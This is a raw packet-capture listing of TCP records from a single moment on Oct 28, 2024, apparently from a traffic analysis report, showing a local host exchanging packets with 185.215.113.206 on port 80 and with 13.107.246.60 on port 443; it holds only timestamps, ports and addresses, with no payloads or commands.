Oct 28, 2024 02:07:15.472980976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472994089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473026037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473026037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473059893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473078966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473102093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473114967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473128080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473128080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473143101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473149061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473175049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473175049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473193884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473531961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473542929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473555088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473562956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473579884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473614931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473614931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473840952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473850012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473861933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473881960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473892927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473891973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473905087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.473915100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473934889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.473979950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.474400997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.474415064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.474427938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.474450111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.474486113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.474486113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.518225908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518285036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518311024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518335104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518347979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518363953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518373013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.518378973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518410921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.518548012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.518548012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.518548012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.561013937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.561032057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.561094999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.587470055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587490082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587505102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587539911 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.587565899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.587584972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587605000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587618113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.587639093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.587666035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.589483023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589500904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589517117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589554071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.589585066 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.589617014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589628935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589638948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589665890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.589699984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.589961052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.589972973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590018988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590022087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590028048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590065002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590095997 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590152025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590163946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590193033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590202093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590236902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590236902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590250015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590264082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590298891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590349913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590353966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590365887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590423107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590713978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590727091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590737104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590749025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590760946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.590800047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.590851068 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.591136932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591146946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591162920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591181040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591195107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591203928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.591242075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.591242075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.591553926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591564894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591582060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.591675043 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635430098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635472059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635485888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635499001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635503054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635515928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635540009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635551929 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635551929 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635554075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635572910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635607958 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.635739088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635751963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.635790110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.645350933 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.645396948 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.645425081 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.645442963 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.652766943 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.652808905 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.652926922 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.654495001 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.654511929 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.656929016 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.657042980 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.657124043 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.657267094 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.657295942 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.660058975 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.660068035 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.660123110 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.662425995 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.662472963 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.662530899 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.667474031 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.667484999 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.667695999 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.667714119 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.678117990 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.678157091 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.678239107 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.681456089 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.681472063 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.704440117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704504013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704508066 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704551935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704557896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704586983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704617977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704638958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704638958 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704674006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704706907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.704719067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704719067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.704763889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.705219984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.705250025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.705277920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.705311060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706628084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706681013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706688881 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706721067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706729889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706772089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706816912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706850052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706870079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706882954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.706907988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.706927061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707451105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707480907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707513094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707516909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707516909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707547903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707576990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707595110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707595110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707611084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707619905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707660913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707664013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707698107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707714081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707756042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707758904 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707786083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707811117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707834005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707835913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707870960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707887888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707906008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707926035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707942963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.707945108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.707978010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708009005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708029985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708563089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708596945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708621979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708631039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708645105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708666086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708683014 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708702087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708726883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708735943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708761930 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708780050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708796978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708808899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708828926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708847046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708864927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708874941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.708894968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.708925009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752533913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752578974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752602100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752630949 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752639055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752681017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752697945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752718925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752737045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752772093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752775908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752809048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752827883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752845049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752865076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752880096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.752907038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.752929926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.793107033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.793123007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.793174028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.821721077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821794033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821830988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821832895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.821862936 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.821870089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821904898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821964025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.821997881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.822022915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.822022915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.822022915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.822032928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.822040081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.822040081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.822078943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.823688984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823760033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823790073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823846102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823865891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.823883057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823895931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.823931932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.823937893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823967934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.823987007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824012041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824501038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824537039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824561119 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824588060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824589968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824637890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824642897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824677944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824687004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824712992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824723959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824749947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824760914 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824789047 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.824799061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.824831963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825069904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825124025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825131893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825159073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825177908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825195074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825212955 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825229883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825241089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825282097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825501919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825555086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825558901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825589895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825608969 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825625896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825632095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825661898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825680017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825697899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825714111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825735092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825748920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825766087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.825787067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.825810909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.826160908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.826195955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.826217890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.826231003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.826242924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.826278925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870156050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870220900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870259047 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870292902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870330095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870363951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870378971 CET	49710	80	192.168.2.6	185.215.113.206
